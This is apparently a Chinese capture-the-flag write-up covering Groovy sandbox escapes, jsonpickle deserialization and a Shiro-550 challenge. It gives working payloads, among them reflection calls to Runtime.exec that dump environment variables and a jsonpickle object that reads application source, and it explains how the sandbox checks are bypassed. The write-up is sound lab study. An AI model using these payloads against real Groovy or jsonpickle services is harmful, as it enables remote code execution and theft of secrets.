Web
easyGooGooVVVY
考的是沙盒环境的Groovy 表达式注入,发现正常的执行命令的类被过滤掉了,后面想起来可以用反射去打
搜到一篇文章:https://www.cnblogs.com/TWX521/p/17916224.html
1 | java.lang.String.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText() |
任意一个内置类的原型类都会有forName这个静态方法,那就很好做了
能回显,然后也没过滤什么命令,直接打就行,flag在env环境变量中
1 | java.lang.String.class.forName("java.lang.Runtime").getRuntime().exec("env").getText() |
safe_bank
#jsonpickle反序列化
注册登录进去改cookie,本来以为需要注意时间戳什么的,但是直接伪造就行了
1 | import base64 |
然后直接改cookie就拿到admin了
但是是一个假的flag,返回去看cookie,用flask-unsign解密一下发现是jsonpickle的格式
1 | root@VM-16-12-ubuntu:/tmp# flask-unsign --decode --cookie "eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogIjExMTEiLCAidHMiOiAxNzUzNDQ4Mjg2fX0=" |
并且这里带有时间戳,这里需要注意设置一下
一开始尝试读取全局信息的
读取全局信息的方法
1 | {"py/mod": "__main__/x.__dict__"} |
1 | import json |
但是没成功,dick被过滤了
先读一下源码
1 | payload = {'py/object': '__main__.Session', 'meta': {'user': {'py/object': 'linecache.getlines', 'py/newargs': ['app.py']}, 'ts': int(time.time())}} |
成功拿到源码,拿去整理一下
1 | from flask import Flask, request, make_response, render_template, redirect, url_for |
前面的代码中可以发现,只要我们的username不是admin,都会把反序列化结果渲染出来,那么这里的话就是唯一的回显点,也是为什么我在username中打的原因
1 | def waf(serialized): |
这里先进行json.loads
,又json.dumps
指定了ensure_ascii=False
,使用特殊编码这里就会报错了,没法玩啊
但是一直绕不过去,unicode编码发现\\
被过滤了没法玩,后面我发现这里有一个关键的代码
1 | sess_obj = jsonpickle.decode(decoded, safe=True) |
开启了safe模式,找到一篇文章:https://xz.aliyun.com/news/16041
**safe=True
**:
- 启用安全模式,限制反序列化的对象范围。
- 如果设置为
True
,只允许反序列化为基本数据类型(如字典、列表、字符串、整数等),避免执行潜在的危险代码(如自定义对象或可执行代码)。 - 默认值为
False
,允许反序列化复杂的 Python 对象。
先本地测试一下
1 | import jsonpickle |
本地发现safe模式下jsonpickle反序列化reduce函数RCE成功,但是waf把reduce过滤了需要另寻出路
RevengeGooGooVVVY
有两份源码
1 | //phase3purifiler.java |
这是一个Groovy编译定制器,用于在编译阶段检查和阻止特定的AST转换注解。就是Groovy 源码刚刚被解析成抽象语法树(AST)之后执行的,我们看看这里的注解黑名单
1 | private static final List<String> BLOCKED_TRANSFORMS = Collections.unmodifiableList(Arrays.asList( |
- @Grab, @Grapes 等: 这是 Groovy Grapes 依赖管理系统的注解。他们在运行时能从互联网上动态下载并加载任意的 JAR 包
- @ASTTest: 用于在编译时对 AST 进行测试和断言,可以被滥用来执行任意代码或修改 AST,。
- @AnnotationCollector: 可以将多个注解“打包”成一个自定义注解,可能被用来隐藏其他被禁止的注解,从而绕过检查。
所以这个代码主要是对一些危险的注解进行一个禁用,防止在AST语法树阶段解析注解的时候会执行自定义注解处理器从而导致一些危险的注解实现代码执行。
我们主要看第二个
1 | //customgroovypurifier.java |
这里的话在我们逐步分析
可以看到,secureASTCustomizer.addExpressionCheckers(expr ->
这里的话会将我们沙箱中每个表达式都在此进行处理,那我们重点看里面的处理逻辑
1 | if (expr instanceof MethodCallExpression) { |
外层if语句只检查了函数调用表达式something.method()
类似的调用,其他类型的表达式都不管
进入if语句后,会获取调用方法的对象类型,调用方法的名字
- 如果我们调用的是String对象的方法,那么就会触发白名单验证,但是这里没有给出来,如果没在白名单里就会抛出异常
- 如果我们调用的方法是execute,就会触发黑名单并抛出错误
上面都没有的话就会返回true
方法一:属性访问表达式绕过
其实上面的安全逻辑本来是希望我们只能调用String对象中的方法的,让我们的代码都只能是被当作字符串去调用操作,但是这里明显在外层if语句里存在一个问题,就是这里只检查了函数调用表达式而不管其他类型的表达式
然后可以想到,this.class是属于PropertyExpression属性访问表达式,之前在学习java反序列化的时候就接触过,每个java类运行时都会实例化一个 java.lang.Class 的实例。并且例如我们在脚本中调用方法println的话实际上就是在调用this.println(),所以this.class在脚本中实际上就是在访问该类的对象实例,那么就能间接访问到java.lang.Class 的实例,同时也就绕过第一层if,直接返回true了
1 | this.class.forName("java.lang.Runtime").getRuntime().exec("env").getText() |
方法二:getClass()方法绕过
1 | getClass().forName("java.lang.Runtime").getRuntime().exec("env").getText() |
为什么这里可以呢,其实也很简单,因为这里并不符合内层的两个if语句,既不是String对象的方法,也不是execute方法,所以也就不会触发异常抛出,同样可以返回true
JavaSeri
#shiro550
感觉被资本做局了,从题目上线到比赛结束,我每次打开环境都是跳转127.0.0.1,不知道为啥,赛后拿朋友开的环境直接就打开了。。。
看到一个shiro和remember me,直接猜测是shiro550反序列化,拿工具一把梭吧
然后探测利用链并RCE就行了